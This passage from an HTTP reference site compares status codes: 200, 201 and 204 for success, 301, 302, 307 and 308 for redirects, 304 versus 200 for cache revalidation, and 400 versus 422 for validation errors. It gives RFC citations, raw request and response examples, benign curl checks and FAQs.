[Set-Cookie](https://howhttpworks.com/headers/set-cookie) explain how the header is built and which attributes decide where cookies are sent. - [Cookie prefixes](https://howhttpworks.com/cookies/cookie-prefixes) (`__Host-` keeps a cookie on one host) and [Max-Age](https://howhttpworks.com/cookies/max-age) (stale cookies expire) limit where cookies spread and how long they pile up. - [Sessions and state](https://howhttpworks.com/guides/sessions-and-state) compares server-side sessions with tokens stored in cookies. - [413 Content Too Large](https://howhttpworks.com/debug/nginx-413-request-entity-too-large) is the body-size counterpart. --- # 200 vs 201 vs 204: Which Success Code to Return > Choose between 200 OK, 201 Created and 204 No Content for REST APIs: what each means, the Location and body rules, raw responses for POST, PUT, PATCH and DELETE. Source: https://howhttpworks.com/compare/200-vs-201-vs-204 Last reviewed: 2026-10-04 > **TL;DR:** Return **201 Created** with a `Location` header when the request created a new resource. Return **200 OK** when the response carries a representation. Return **204 No Content** when the action succeeded and there is nothing to send back, which is the usual answer for DELETE and for updates where the client already knows the result. ## Side By Side | | 200 OK | 201 Created | 204 No Content | |---|---|---|---| | Meaning | Succeeded; the response describes the result | Succeeded; a new resource now exists | Succeeded; no content follows | | Body | Expected (meaning depends on the method) | Optional, usually the new resource | Forbidden: the response ends after the headers | | Key header | `Content-Type`, `Content-Length` | `Location` (the new resource URL; the spec says SHOULD) | None of `Content-Length` or `Transfer-Encoding` | | Typical methods | GET, POST (action), PUT/PATCH (with echo) | POST create, PUT to a new URL | DELETE, PUT/PATCH (no echo), OPTIONS preflight | | Cacheable by default | Yes (defined as cacheable) | No | Yes (defined as cacheable) | | Browser behavior | Replaces the page or resolves the fetch | Same as 200 for fetch | Stays on the current page after a form submit or navigation | ## Which One Should I Use ### Creating something: 201 ```http POST /api/projects HTTP/1.1 Host: api.example.com Content-Type: application/json {"name": "Docs site"} ``` ```http HTTP/1.1 201 Created Location: https://api.example.com/api/projects/prj_7f3k2 Content-Type: application/json {"id": "prj_7f3k2", "name": "Docs site", "createdAt": "2026-10-04T09:30:00Z"} ``` The `Location` header lets a client follow up without parsing your JSON schema. If the work is queued instead of finished, use [202 Accepted](https://howhttpworks.com/status-codes/202) and point at a status resource. ### Reading or running an action: 200 ```http GET /api/projects/prj_7f3k2 HTTP/1.1 Host: api.example.com ``` ```http HTTP/1.1 200 OK Content-Type: application/json {"id": "prj_7f3k2", "name": "Docs site"} ``` 200 is also right for a POST that did not create anything: login, search with a body, a "convert this" call. For POST, RFC 9110 says the 200 content typically describes or contains the result of the action. ### Updating: 200 with the new state, or 204 ```http PATCH /api/projects/prj_7f3k2 HTTP/1.1 Host: api.example.com Content-Type: application/merge-patch+json {"name": "Documentation"} ``` ```http HTTP/1.1 200 OK Content-Type: application/json {"id": "prj_7f3k2", "name": "Documentation", "updatedAt": "2026-10-04T09:31:12Z"} ``` Prefer 200 with a body when the server computes anything the client cannot predict (`updatedAt`, normalized strings, a new `ETag`). Prefer 204 when the client sent the whole state and nothing changed server-side. See [PUT vs PATCH](https://howhttpworks.com/compare/put-vs-patch) for the update semantics themselves. ### Deleting: 204 ```http DELETE /api/projects/prj_7f3k2 HTTP/1.1 Host: api.example.com ``` ```http HTTP/1.1 204 No Content ``` A second DELETE on the same URL usually returns [404](https://howhttpworks.com/status-codes/404) or 410. That is fine: DELETE is idempotent in effect (the resource stays gone), not in status code. ### Edge cases - **PUT to a URL that did not exist yet and you created it:** 201, with the body or `Location` as above. If it replaced something, 200 or 204. - **Form POST from a browser that should not navigate away** (autosave, a tracking endpoint): 204 keeps the user on the current page. - **CORS preflight:** `OPTIONS` answered with 204 and the `Access-Control-Allow-*` headers is the usual pattern, and browsers accept any 2xx. - **Partial lists:** 206 for byte ranges, not 200, if the request had a `Range` header and you honor it. ## Common Mistakes **A 200 for everything, with an error flag in the body.** Retries, monitoring and API gateways read the status line. See [400 vs 422](https://howhttpworks.com/compare/400-vs-422) for what to return instead. **A body on a 204.** Frameworks that serialize `null` or `{}` into a 204 produce a response some proxies drop and some clients choke on. Return 200 with the JSON if you have something to say. **A 201 without `Location`.** Clients then have to know your URL scheme to find what they created. It also breaks generic tooling that follows `Location`. **A 200 on create because "it worked."** Clients that branch on `201` to show "created" toasts or to update a local cache never fire. **Returning 204 to a `fetch()` call and then calling `.json()`.** The parse throws on empty content. Guard on status. **Assuming 204 is uncacheable.** It is defined as cacheable by default, so a GET that returns 204 can be stored unless you send `Cache-Control: no-store`. ## FAQ ### Should a successful POST return 200 or 201? Return 201 Created when the POST created a resource that now has its own URL, and include a Location header pointing at it (RFC 9110 section 15.3.2). Return 200 when the POST was an action or query that did not create an addressable resource, such as a search with a large body or a login. ### What should DELETE return: 200, 202 or 204? RFC 9110 section 9.3.5 allows all three. 204 is the common choice when the resource is gone and there is nothing to report. 200 fits when you return a status message or the deleted representation. 202 is correct when the deletion has been accepted but will happen later. ### Can a 204 response have a body? No. A 204 response ends at the header section and cannot contain content (RFC 9110 section 15.3.5), and it must not include Content-Length or Transfer-Encoding. Sending a JSON body with a 204 is a bug that clients and proxies handle inconsistently. ### Should PUT or PATCH return 200 or 204? Either is valid. Return 200 with the updated representation if clients benefit from seeing server-computed fields such as updatedAt or a normalized value. Return 204 when the client already knows the result. If PUT created a resource that did not exist before, return 201 instead. ### Do I need a body with 201 Created? The Location header is what the spec asks for; a body is optional. Most JSON APIs also return the created representation so the client gets the generated id and defaults without a second GET. Both are valid. ### Why does my fetch() call throw on a 204 when I call response.json()? A 204 has no content, so JSON parsing an empty string fails with "Unexpected end of JSON input". Check response.status === 204 (or the Content-Length) before parsing, or only call json() when the status is 200 or 201. ## References - [MDN Web Docs: 200 OK](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/200) - [MDN Web Docs: 201 Created](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/201) - [MDN Web Docs: 204 No Content](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/204) - [RFC 9110: 200 OK (section 15.3.1)](https://www.rfc-editor.org/rfc/rfc9110#section-15.3.1) - [RFC 9110: 201 Created (section 15.3.2)](https://www.rfc-editor.org/rfc/rfc9110#section-15.3.2) - [RFC 9110: 204 No Content (section 15.3.5)](https://www.rfc-editor.org/rfc/rfc9110#section-15.3.5) --- # 301 vs 302 Redirects > Understand the difference between 301 Moved Permanently and 302 Found redirects. Learn when to use each, how browsers cache them, and their SEO implications. Source: https://howhttpworks.com/compare/301-vs-302 Last reviewed: 2026-10-04 > **TL;DR:** Use 301 for permanent URL changes: it is heuristically cacheable and tells search engines to index the new URL. Use 302 for temporary redirects: it is not cached unless you add Cache-Control, and the old URL stays indexed (though Google eventually treats a long-lived 302 as permanent). ## The Core Difference Both status codes tell the client to fetch a resource from a different URL. The difference is permanence — and that single distinction has cascading effects on caching, SEO, and browser behavior. **301 Moved Permanently** signals that the resource has moved to a new location indefinitely. The client should update its bookmarks, links, and caches to use the new URL going forward. **302 Found** signals a temporary redirect. The client should follow the redirect this time, but continue using the original URL for future requests. ## Caching Behavior | | 301 | 302 | |---|---|---| | Browser caches redirect | Yes (heuristic; may persist for a long time) | No unless `Cache-Control`/`Expires` allow it | | Requires `Cache-Control` to override | Yes | No | | CDN caches redirect | Usually yes | Usually no | A 301 without an explicit `Cache-Control` header is heuristically cacheable (RFC 9111 section 4.2.2), and browsers commonly keep it for a long time, in practice until cache eviction. This means if you redirect `/old-page` → `/new-page` with a 301, users who visited before will never hit your server again for `/old-page` — their browser goes straight to `/new-page`. This is powerful but dangerous: if you need to change the redirect destination later, cached users won't see the update until their cache expires or they clear it. A 302 is cacheable only when explicit freshness headers such as `Cache-Control: max-age` are present (RFC 9110 section 15.4.3). Every request to the original URL will hit your server and receive the redirect response fresh. ## SEO Implications Google treats both as redirects that pass ranking signals, but they differ in which URL ends up in the index: - **301**: The destination becomes the canonical URL and replaces the original in search results. - **302**: The original URL normally stays indexed, since the move is declared temporary. A 302 left in place for a long time may eventually be treated as permanent. If you're migrating a site or permanently changing URL structure, use 301. Using 302 for permanent moves delays or confuses the switch of the indexed URL, and gives you no browser caching. ## Method Preservation Both 301 and 302 have a historical quirk: browsers change POST requests to GET when following these redirects, and RFC 9110 sections 15.4.2 and 15.4.3 still allow that. It is expected behavior, not a legacy bug, which is why 307 and 308 were created. If you need to preserve the HTTP method across a redirect: - Use **307 Temporary Redirect** instead of 302 - Use **308 Permanent Redirect** instead of 301 ## When to Use Each **Use 301 when:** - You've permanently moved a page to a new URL - You're migrating a domain - You're consolidating duplicate URLs (e.g., `http://` → `https://`, `www.` → non-www) - You want search engines to index the new URL **Use 302 when:** - You're temporarily redirecting during maintenance - You're A/B testing different landing pages - You're redirecting based on user state (e.g., login required) and the original URL should remain canonical - You're not sure yet if the move is permanent ## Common Mistakes **Using 302 for permanent moves** — the most common mistake. Developers reach for 302 because it feels "safer" (it's reversible), but for permanent URL changes it means losing SEO value and not getting browser caching benefits. **Forgetting 301s are cached forever** — if you set up a 301 and later need to change the destination, users with cached redirects won't see the change. Always set `Cache-Control: max-age=3600` on 301s during a migration period, then remove the header once you're confident. **Using 301/302 when you need method preservation** — if your form POSTs to `/submit` and you redirect to `/thank-you`, use 303 See Other (which always converts to GET) rather than 302. ## FAQ ### Does a 301 redirect pass SEO link equity? Yes. Google says all 3xx redirects pass ranking signals, but a 301 is the clear signal that the destination should become the indexed, canonical URL. With a 302 the old URL usually stays indexed; if the 302 persists for a long time Google may eventually treat it as permanent. ### Can I change a 301 redirect after it has been cached? With difficulty. A 301 is heuristically cacheable, and browsers may keep it for a long time even without any Cache-Control header. Users who visited before will not see the change until their cache expires. Always set Cache-Control: max-age=3600 during migrations, then remove it once stable. ### What is the difference between 301 and 308? 308 Permanent Redirect is the method-preserving version of 301. A 301 historically converts POST to GET when followed; 308 guarantees the original method is preserved. Use 308 when redirecting form submissions or API endpoints. ### What is the difference between 302 and 307? 307 Temporary Redirect is the method-preserving version of 302. Use 307 instead of 302 when you need to redirect POST, PUT, or PATCH requests without converting them to GET. ### Which redirect should I use for HTTPS migration? Use 301. Migrating from http:// to https:// is a permanent change. The 301 tells search engines to update their index and passes link equity to the HTTPS version. ## References - [MDN Web Docs: 301 Moved Permanently](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/301) - [MDN Web Docs: 302 Found](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/302) - [RFC 9110: HTTP Semantics — Redirection 3xx](https://www.rfc-editor.org/rfc/rfc9110#section-15.4) --- # 301 vs 308: Permanent Redirects and POST Requests > 301 vs 308: both signal a permanent move, but only 308 preserves POST. Compare browser handling, Google indexing, cache controls, and curl traces. Source: https://howhttpworks.com/compare/301-vs-308 Last reviewed: 2026-10-05 > **TL;DR:** For a permanent move of a GET page, either 301 or 308 works. Use 308 when a redirected POST must arrive as POST with its body intact. Google treats both as permanent redirects; method preservation is the deciding difference. ## Side By Side | Behavior | 301 Moved Permanently | 308 Permanent Redirect | |---|---|---| | Meaning | Resource has a new permanent URL | Resource has a new permanent URL | | Redirected GET | Remains GET | Remains GET | | Redirected POST in browser Fetch | Becomes GET; body discarded | Method and replayable body preserved | | HTTP method rule | POST-to-GET conversion is permitted | Method must be preserved when following automatically | | Cache eligibility | Heuristically cacheable, subject to method and cache controls | Same | | Google Search | Permanent redirect; destination is a canonicalization signal | Same documented treatment | The status semantics come from [RFC 9110 §15.4.2](https://www.rfc-editor.org/rfc/rfc9110.html#section-15.4.2) and [§15.4.9](https://www.rfc-editor.org/rfc/rfc9110.html#section-15.4.9). Browser method handling follows the [Fetch redirect algorithm](https://fetch.spec.whatwg.org/#http-redirect-fetch). The table assumes the client follows the redirect and can replay the body: Fetch can fail a redirect when the request body has no replayable source. ## When To Use Each **301: moving a document URL.** A request for `/docs/old-install` should lead to `/docs/install`. With GET, there is no POST body to lose. This is the kind of permanent URL move covered by [MDN's 301 reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/301). Illustrative exchange: ```http GET /docs/old-install HTTP/1.1 Host: example.com HTTP/1.1 301 Moved Permanently Location: /docs/install Cache-Control: max-age=300 Content-Length: 0 ``` **308: moving a write endpoint.** Suppose `/api/v1/events` is retired in favor of `/api/events`, which accepts the same payload. Redirect before processing the event at the old endpoint. [308 preserves the method and body](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/308); the destination receives the write. Illustrative response to a POST at the old endpoint: ```http HTTP/1.1 308 Permanent Redirect Location: /api/events Cache-Control: no-store Content-Length: 0 ``` Keep the two jobs distinct in your routing code: either process the write or redirect it. A 308 after processing the event asks the client to submit the same event again at the destination. ## Caching And Google Search Both statuses permit heuristic caching. That does **not** specify a universal browser TTL, guarantee storage of a POST response, or mean “forever.” [RFC 9111 §4.2.2](https://www.rfc-editor.org/rfc/rfc9111.html#section-4.2.2) leaves the heuristic algorithm unspecified. For a GET migration, the example's `max-age=300` chooses five minutes; it is a rollout choice, not a default. `no-store` instructs caches not to store the response ([§5.2.2.5](https://www.rfc-editor.org/rfc/rfc9111.html#section-5.2.2.5)). [Google's redirect documentation](https://developers.google.com/search/docs/crawling-indexing/301-redirects) places **301 and 308 in the permanent category**: Googlebot follows them, and the indexing pipeline uses the destination as a signal for canonicalization. This is a signal, not a promise that the old URL disappears immediately. Google also documents that an old URL can remain an alternate name and occasionally appear in results. ## The Common Mistake Testing only a GET, then shipping a 301 rule across an API. Both redirects look fine when you click the URL; a POST can lose its body under 301. Test the methods that actually reach that route. The opposite mistake is using 308 after a form submission when you want the next request to fetch a receipt page. That is a [303 See Other](https://howhttpworks.com/status-codes/303) flow: the redirect should lead to a retrieval, as defined in [RFC 9110 §15.4.4](https://www.rfc-editor.org/rfc/rfc9110.html#section-15.4.4). ## Check On The Wire Inspect the initial status, destination, and cache policy without following: ```bash curl -sS -D - -o /dev/null https://example.com/docs/old-install ``` On your staging endpoint, trace a POST through the redirect: ```bash curl -sS -v -L --data 'event=probe' \ -o /dev/null https://example.com/api/v1/events 2>&1 | grep -E '^([<>] (POST|GET|HTTP/)|< [Ll]ocation:|< [Cc]ache-[Cc]ontrol:)' ``` Look for `> POST` at the first URL and the method at the second URL. Expect GET after 301 and POST after 308 with this command. Avoid `-X POST` and `--post301`: they override the method behavior being measured. These options and redirect rules are documented in the [curl manual](https://curl.se/docs/manpage.html#-L). In Chrome DevTools, enable **Network → Preserve log** before submitting, then inspect each request's method, payload, and `Location`. If cached routing obscures your change, repeat with **Disable cache** enabled while DevTools is open. See the [Network reference](https://developer.chrome.com/docs/devtools/network/reference). ## Related - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) and [308 Permanent Redirect](https://howhttpworks.com/status-codes/308) - [301 vs 302](https://howhttpworks.com/compare/301-vs-302) for permanent versus temporary moves - [Cache-Control](https://howhttpworks.com/headers/cache-control) for explicit redirect cache policy --- # 302 vs 307 Redirects > Compare 302 Found and 307 Temporary Redirect, including method preservation, request bodies, browser behavior, caching, and safe API redirect choices. Source: https://howhttpworks.com/compare/302-vs-307 Last reviewed: 2026-10-04 > **TL;DR:** Both are temporary redirects. A client that follows a 307 must resend the same method and body; one that follows a 302 may switch POST to GET, and browsers do. Use 307 to move an API call temporarily, 303 to send a browser to a result page after a POST, and 302 for plain GET navigation. ## The Core Difference Both responses say that the requested resource is temporarily available at the URL in the `Location` header. The difference is what the client does with the original HTTP method and body. When a client automatically follows a `307 Temporary Redirect`, it must repeat the request using the same method and body. A `POST` remains a `POST`, a `PUT` remains a `PUT`, and their payloads are sent to the new location. With `302 Found`, user agents historically changed a `POST` into a `GET` when following the redirect. Modern HTTP semantics permit this behavior for compatibility, so an application cannot rely on method preservation after a 302. | Behavior | 302 Found | 307 Temporary Redirect | |---|---|---| | Redirect is temporary | Yes | Yes | | GET and HEAD remain unchanged | Yes | Yes | | Non-GET method guaranteed to be preserved | No | Yes | | Request body guaranteed to be preserved | No | Yes | | Useful after a successful form POST | Sometimes, but prefer 303 | No, unless repeating POST is intended | | Useful for temporary API relocation | Risky | Yes | ## Why Historical Behavior Matters Consider an API receiving this request: ```http POST /v1/orders HTTP/1.1 Host: api.example.com Content-Type: application/json {"sku":"A-42","quantity":1} ``` If `/v1/orders` returns a 302, a client may follow the redirect as: ```http GET /v2/orders HTTP/1.1 Host: api.example.com ``` The method and payload have been lost. If the client automatically follows a 307 response, it must repeat the original `POST` and body at `/v2/orders`. ## When to Use 302 Use 302 for a temporary navigation where requests are GET or HEAD, or where compatibility behavior is intentional and tested. Examples include temporarily routing users to a maintenance page or selecting a temporary presentation URL. Do not use 302 when correctness depends on preserving a non-GET method. Even if one tested client preserves the method, another conforming client may use the historical POST-to-GET behavior. ## When to Use 307 Use 307 when an endpoint is temporarily hosted elsewhere and the receiving endpoint is designed to accept the same method and body. This is especially relevant for APIs, upload endpoints, and temporary infrastructure routing. ```http HTTP/1.1 307 Temporary Redirect Location: https://uploads.example.net/v1/files Cache-Control: no-store ``` Only redirect a credential-bearing request to an origin you trust. Redirecting an `Authorization` header or request body across origins can expose sensitive data, and clients may deliberately strip credentials during the redirect. ## When 303 Is the Better Choice After successfully processing a form submission, applications often want the browser to load a result page with GET. Use [303 See Other](https://howhttpworks.com/status-codes/303) to express that behavior explicitly: ```http HTTP/1.1 303 See Other Location: /orders/123/confirmation ``` This avoids accidental resubmission when the user refreshes the result page. A 307 would repeat the POST and could create a duplicate operation if the endpoint is not idempotent. ## Caching and Search Indexing Neither status is permanently cacheable merely because of its status code. Explicit cache headers can make a temporary redirect reusable for a limited period, but keep that lifetime short enough for the original URL to resume service when expected. Because both redirects are temporary, the original URL should normally remain the canonical address. Use [301](https://howhttpworks.com/status-codes/301) or [308](https://howhttpworks.com/status-codes/308) when the move is permanent. ## Decision Rule - Temporary GET navigation: 302 or 307; 302 is widely conventional. - Temporary relocation that must preserve method and body: 307. - POST completed; load a result page with GET: 303. - Permanent move that may convert POST to GET: 301. - Permanent move that must preserve method and body: 308. Use the [Redirect and Canonical Auditor](https://howhttpworks.com/tools/redirect-audit) to inspect deployed redirect behavior. ## Seeing it in practice ```bash curl -si -X POST https://api.example.com/v1/orders -H 'Content-Type: application/json' -d '{"sku":"A-42"}' # HTTP/2 307 # location: https://api.example.com/v2/orders # curl does not follow redirects unless -L. With -L, a 301/302 turns the POST into a GET # (--post302 keeps POST); a 307/308 keeps the method and body. curl -siL -X POST https://api.example.com/v1/orders -d '{"sku":"A-42"}' ``` Chrome DevTools shows `307 Internal Redirect` for a request that never touched the network: the browser applied a cached HSTS rule and upgraded `http://` to `https://`. Your server did not send it. Look for `Non-Authoritative-Reason: HSTS` in the response headers. A common trap: fetch implementations drop the `Authorization` header when a redirect crosses to another origin, so a 307 to a different host can turn into a 401 on the second hop. ## FAQ ### Is 307 the same as 302? Not quite. Both mean the target URL is temporary, but RFC 9110 lets clients change POST to GET on a 302 (section 15.4.3) and forbids changing the method on a 307 (section 15.4.8). Browsers do change the method on a 302 after a POST. ### Should I use 302 or 307 for a temporary redirect? For GET and HEAD pages either works, and 302 is the convention. For POST, PUT, PATCH or DELETE endpoints use 307, so the method and body are preserved. To make a browser load a confirmation page with GET after handling a POST, use 303. ### Why does Chrome show 307 Internal Redirect? Chrome synthesizes it when HSTS forces an `http://` request to `https://` before any request is sent. Clear the HSTS entry at `chrome://net-internals/#hsts` if you need to test the plain HTTP response. ### Do 302 and 307 hurt SEO? They tell search engines the move is temporary, so the original URL normally stays indexed. A temporary redirect left in place for a long time may eventually be treated as permanent by Google; use 301 or 308 for real moves. ### Are 302 and 307 cached? Not by default. They are cacheable only when the response carries explicit freshness information such as `Cache-Control: max-age=60` (RFC 9111 section 4.2.2). ## References - [RFC 9110: 302 Found](https://www.rfc-editor.org/rfc/rfc9110#section-15.4.3) - [RFC 9110: 307 Temporary Redirect](https://www.rfc-editor.org/rfc/rfc9110#section-15.4.8) - [MDN: 302 Found](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/302) - [MDN: 307 Temporary Redirect](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/307) - [MDN: Redirections in HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Redirections) --- # 304 Not Modified vs 200 OK > Understand when servers return 304 Not Modified instead of 200 OK. Learn how conditional requests, ETags, and Last-Modified headers enable efficient HTTP caching. Source: https://howhttpworks.com/compare/304-vs-200 Last reviewed: 2026-10-04 > **TL;DR:** Use 200 when the server needs to send the resource body. Use 304 when the client already has a cached copy and only needs confirmation that it is still current. ## The Fast Mental Model If you are looking at DevTools and wondering why the browser got "no real response body," the answer is usually this: - **200 OK** means "here is the representation" - **304 Not Modified** means "use the copy you already have" `304 Not Modified` is not a failure and it is not an empty `200`. It is a successful cache revalidation response. ## The Core Difference **200 OK** is the baseline response. The server sends headers and a full body. **304 Not Modified** only appears when the client asks a conditional caching question, such as "has this changed since the version with this ETag?" If the answer is no, the server skips the body and the client reuses its cached content. ## Why You See 304 In Real Life You usually encounter `304` in one of these situations: - refreshing a page where CSS or JS is already cached - debugging stale assets and watching `ETag` or `Last-Modified` - trying to understand why the browser made a network request but did not download the full file again 304 only happens when the client sends a conditional request: ```text # First request — client has nothing cached GET /styles.css HTTP/1.1 # Server responds with full content + cache validators HTTP/1.1 200 OK ETag: "abc123" Cache-Control: max-age=3600 [full CSS body] # Later — cache has expired, client revalidates GET /styles.css HTTP/1.1 If-None-Match: "abc123" # Resource unchanged — server sends 304, no body HTTP/1.1 304 Not Modified ETag: "abc123" Cache-Control: max-age=3600 ``` ## Comparison Table | | 200 OK | 304 Not Modified | |---|---|---| | Response body | Yes (full resource) | No | | Triggered by | Any GET/HEAD | Conditional GET (If-None-Match / If-Modified-Since) | | Client action | Store in cache | Use existing cached copy | | Bandwidth used | Full resource size | Headers only (~200–500 bytes) | | Requires prior request | No | Yes (needs cached ETag or Last-Modified) | ## ETag vs Last-Modified Servers can use two mechanisms to enable conditional requests: **ETag** — a content fingerprint, usually a hash of the response body: ```http ETag: "d41d8cd98f00b204e9800998ecf8427e" ``` Client sends back as `If-None-Match: "d41d8cd98f00b204e9800998ecf8427e"`. **Last-Modified** — a timestamp of when the resource last changed: ```http Last-Modified: Tue, 18 Feb 2026 00:00:00 GMT ``` Client sends back as `If-Modified-Since: Tue, 18 Feb 2026 00:00:00 GMT`. ETags are more reliable. A file can be regenerated with identical content (same ETag, different timestamp) or have its mtime updated without content changes. Use ETags when your server can compute them cheaply. ## Cache-Control Interaction 304 only comes into play after a cache entry expires. The flow is: 1. **Fresh cache** (`max-age` not exceeded) — browser uses cached copy directly, no request sent 2. **Stale cache** (`max-age` exceeded) — browser sends conditional request → server returns 304 or 200 3. **No cache validators** (no ETag, no Last-Modified) — browser must fetch full 200 `Cache-Control: no-cache` forces revalidation on every request (step 2 always), but still allows 304 if the server supports it. `Cache-Control: no-store` disables caching entirely — always 200. ## Common Mistakes **Treating 304 like a missing response** — it is not missing anything. The response is telling the client that the cached body is still authoritative. **Not sending ETag or Last-Modified** — without validators, the browser cannot revalidate efficiently and must fall back to full `200` responses. **Confusing 304 with 204** — `304` means "reuse your cached copy." `204 No Content` means "the request succeeded, and there is no body to send for this operation." **Expecting 304 for POST** — conditional cache revalidation is for `GET` and `HEAD`, not for write-oriented methods. ## FAQ ### Does a 304 response have a body? No. A 304 response must not include a message body. The entire point is that the client already has the body in its cache. The server only sends headers — typically Cache-Control, ETag, and Vary — to update the cached entry metadata. ### What triggers a 304 response? A conditional request triggers a 304. The client sends If-None-Match (with a cached ETag value) or If-Modified-Since (with a cached date). The server compares these against the current resource. If nothing has changed, it returns 304. If the resource has changed, it returns 200 with the new content. ### What is the difference between ETag and Last-Modified for cache validation? ETag is a content fingerprint (usually a hash) — it changes whenever the content changes, regardless of time. Last-Modified is a timestamp. ETags are more reliable: a file can be modified and restored to its original content (same ETag, different timestamp) or have its timestamp updated without content changes (same content, different timestamp). Prefer ETags when possible. ### Can I get a 304 for a POST request? No. A 304 is only returned for GET and HEAD requests that carry If-None-Match or If-Modified-Since. For POST, PUT, PATCH and DELETE, a failed precondition (If-Match, If-Unmodified-Since) produces 412 Precondition Failed instead (RFC 9110 section 13.1). ### Why does my browser sometimes get 200 even when the resource has not changed? Several reasons: the server may not implement ETags or Last-Modified headers; the Cache-Control header may have no-cache (which forces revalidation but the server still returns 200 if it does not support conditional requests); or the cache entry may have expired and the browser is making a fresh request rather than a conditional one. Check that your server sends ETag or Last-Modified on the initial 200 response. ## References - [MDN Web Docs: 304 Not Modified](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/304) - [MDN Web Docs: HTTP Caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching) - [RFC 9110: Conditional Requests](https://www.rfc-editor.org/rfc/rfc9110#section-13) --- # 400 vs 422: Malformed vs Invalid Requests > 400 Bad Request or 422 Unprocessable Content for validation errors? The syntax-vs-semantics rule, what Rails, Laravel, FastAPI and Spring return by default, and raw examples. Source: https://howhttpworks.com/compare/400-vs-422 Last reviewed: 2026-10-04 > **TL;DR:** Return 400 when the server could not parse the request (broken JSON, bad framing, unreadable parameters). Return 422 when the request parsed fine but the values fail validation rules. Both are legitimate for field validation, so pick one convention and keep it identical across every endpoint. ## The Rule From The Spec RFC 9110 defines **400** (section 15.5.1) as a request the server cannot or will not process because of something it perceives as a client error, with "malformed request syntax, invalid request message framing, or deceptive request routing" as examples. It is the generic fallback. **422** (section 15.5.21) is narrower: the server understands the content type and the syntax is correct, but it was unable to process the contained instructions. A well-formed body with semantic errors is the textbook case. So the test has two steps: 1. Could the server turn the bytes into a data structure at all? If not, **400**. 2. If yes, do the values violate a rule (required field missing, `qty` is -3, end date before start date)? **422**. ## Side By Side | | 400 Bad Request | 422 Unprocessable Content | |---|---|---| | Failure layer | Syntax, framing, parsing | Semantics, validation | | Typical trigger | Invalid JSON, bad `Content-Length`, malformed query string, invalid header value | Missing field, wrong type or range, failed business rule | | Defined in | RFC 9110 section 15.5.1 | RFC 9110 section 15.5.21 (originally WebDAV, RFC 4918) | | Retry with the same bytes | Will fail again | Will fail again | | Default for field validation in | Spring MVC, Django REST Framework | Laravel (JSON/XHR), FastAPI, Rails scaffold | ## What Popular Frameworks Do By Default | Framework | Malformed body | Failed validation | |---|---|---| | Rails | 400 (`ActionDispatch::Http::Parameters::ParseError`; `ActionController::ParameterMissing` for missing required params) | 422 for `ActiveRecord::RecordInvalid`; the generated scaffold renders `status: :unprocessable_entity` when `save` fails | | Laravel | Not handled by the validator; left to your app | 422 with `{"message": ..., "errors": {...}}` for JSON/XHR requests. Plain browser form posts get a 302 redirect back with errors flashed to the session | | FastAPI | 422 (JSON decode errors are reported as `json_invalid` inside the validation response) | 422 with a `detail` array | | Spring MVC / Boot | 400 (`HttpMessageNotReadableException`) | 400 (`MethodArgumentNotValidException` from `@Valid @RequestBody`) | FastAPI and Laravel behavior is stated in their current docs, and Rails' 400 mapping is in `ActionDispatch::ExceptionWrapper`. Rails has been moving from the `:unprocessable_entity` symbol to `:unprocessable_content`; the number is still 422. In Spring, `ProblemDetail` responses change the body shape, not the status. Third-party APIs split too. The GitHub REST API answers invalid fields with 422 and `"message": "Validation Failed"` plus an `errors` array. Stripe answers bad parameters with 400 and `type: invalid_request_error`. ## Which One Should I Use **Request body is not valid JSON.** Return 400. ```http POST /api/orders HTTP/1.1 Host: api.example.com Content-Type: application/json {"item_id": 42, "qty": } ``` ```http HTTP/1.1 400 Bad Request Content-Type: application/problem+json {"type": "about:blank", "title": "Malformed JSON", "status": 400, "detail": "Unexpected token } at position 24"} ``` **JSON is fine, but a field breaks a rule.** Return 422 (or 400 if that is your house convention) and name the field so the client can highlight it. ```http POST /api/orders HTTP/1.1 Host: api.example.com Content-Type: application/json {"item_id": 42, "qty": -1} ``` ```http HTTP/1.1 422 Unprocessable Content Content-Type: application/problem+json {"type": "about:blank", "title": "Validation failed", "status": 422, "errors": [{"field": "qty", "code": "min_value", "message": "qty must be at least 1"}]} ``` **Required query parameter missing on a GET.** 400. There is no body to be semantically wrong, and Rails (`ParameterMissing`) and Spring (`MissingServletRequestParameterException`) already answer 400. **Valid payload that clashes with existing data** (email already registered). [409 Conflict](https://howhttpworks.com/status-codes/409) is more informative; fall back to 422 if your clients only handle one validation code. **Wrong `Content-Type`** (sent `text/plain`, API wants JSON). Neither: [415 Unsupported Media Type](https://howhttpworks.com/status-codes/415). **Valid input, but the caller may not perform the action.** Neither: [403 Forbidden](https://howhttpworks.com/status-codes/403). ## Common Mistakes **Returning 200 with `{"success": false}`.** Monitoring, retry logic and caches all key off the status line. A failed validation hidden behind 200 cannot be alerted on. **Returning 500 for bad input.** An unhandled `ValueError` or `NumberFormatException` bubbles up as 500 and pages someone for a typo. Catch parse and validation exceptions at the boundary. **Mixing 400 and 422 in one API.** A common real-world pattern is a framework that returns 422 for schema validation while hand-written controllers return 400 for the same kind of failure. Clients end up with two code paths for one concept. **Bare status code with no body.** Neither code says which field failed. Return a machine-readable body (RFC 9457 problem details or your own stable shape) with field paths. ## Debugging From The Client ```bash curl -i -X POST https://api.example.com/api/orders \ -H 'Content-Type: application/json' \ -d '{"item_id": 42, "qty": }' ``` If that returns 400 and the same call with `"qty": 0` returns 422, the server separates syntax from semantics. When you are unsure which code fits a different failure, the [Status Picker tool](https://howhttpworks.com/tools/status-picker) walks through it. ## FAQ ### Should validation errors return 400 or 422? Both are defensible, and RFC 9110 does not pick for you. The strict reading is 422 (section 15.5.21): the body was well-formed and understood, but the instructions inside it cannot be processed. In practice Laravel, FastAPI and the Rails scaffold use 422, while Spring and Django REST Framework default to 400. Consistency across your API matters more than which one you choose. ### Is 422 an official HTTP status code or just a WebDAV extension? It started in WebDAV (RFC 4918), but RFC 9110 section 15.5.21 now defines it for general HTTP use under the reason phrase "Unprocessable Content". Older docs and frameworks still call it "Unprocessable Entity"; the number is what 